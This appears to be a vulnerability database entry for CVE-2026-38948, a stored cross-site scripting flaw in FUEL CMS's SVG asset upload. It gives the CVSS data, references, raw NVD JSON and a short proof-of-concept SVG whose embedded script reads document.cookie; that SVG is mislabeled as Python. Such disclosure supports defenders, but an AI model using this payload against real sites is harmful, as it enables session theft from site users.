CVE-2026-38948

Description

Cross-Site Scripting (XSS) vulnerability exists in FUEL CMS v1.5.2 and before within the asset upload functionality. The application fails to properly sanitize uploaded SVG files, allowing a low-privileged authenticated user to upload a crafted SVG file containing malicious code.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

FUEL CMS <= 1.5.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- SVG XSS PoC for CVE-2026-38948 -->
<svg xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="40" fill="red" />
  <script>alert(document.cookie)</script>
</svg>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-38948
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-38948
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-38948/
[4] VulDB https://vuldb.com/cve/CVE-2026-38948
[5] https://github.com/Chittu13/cve-research/blob/main/CVE-2026-38948/README.md
[6] https://github.com/daylightstudio/FUEL-CMS
[7] https://www.youtube.com/watch?v=lLCF0xbjecQ
[8] https://github.com/Chittu13/cve-research/blob/main/CVE-2026-38948/README.md

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-38948", "sourceIdentifier": "[email protected]", "published": "2026-04-28T16:16:13.557", "lastModified": "2026-04-28T20:13:21.737", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Scripting (XSS) vulnerability exists in FUEL CMS v1.5.2 and before within the asset upload functionality. The application fails to properly sanitize uploaded SVG files, allowing a low-privileged authenticated user to upload a crafted SVG file containing malicious code."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/Chittu13/cve-research/blob/main/CVE-2026-38948/README.md", "source": "[email protected]"}, {"url": "https://github.com/daylightstudio/FUEL-CMS", "source": "[email protected]"}, {"url": "https://www.youtube.com/watch?v=lLCF0xbjecQ", "source": "[email protected]"}, {"url": "https://github.com/Chittu13/cve-research/blob/main/CVE-2026-38948/README.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}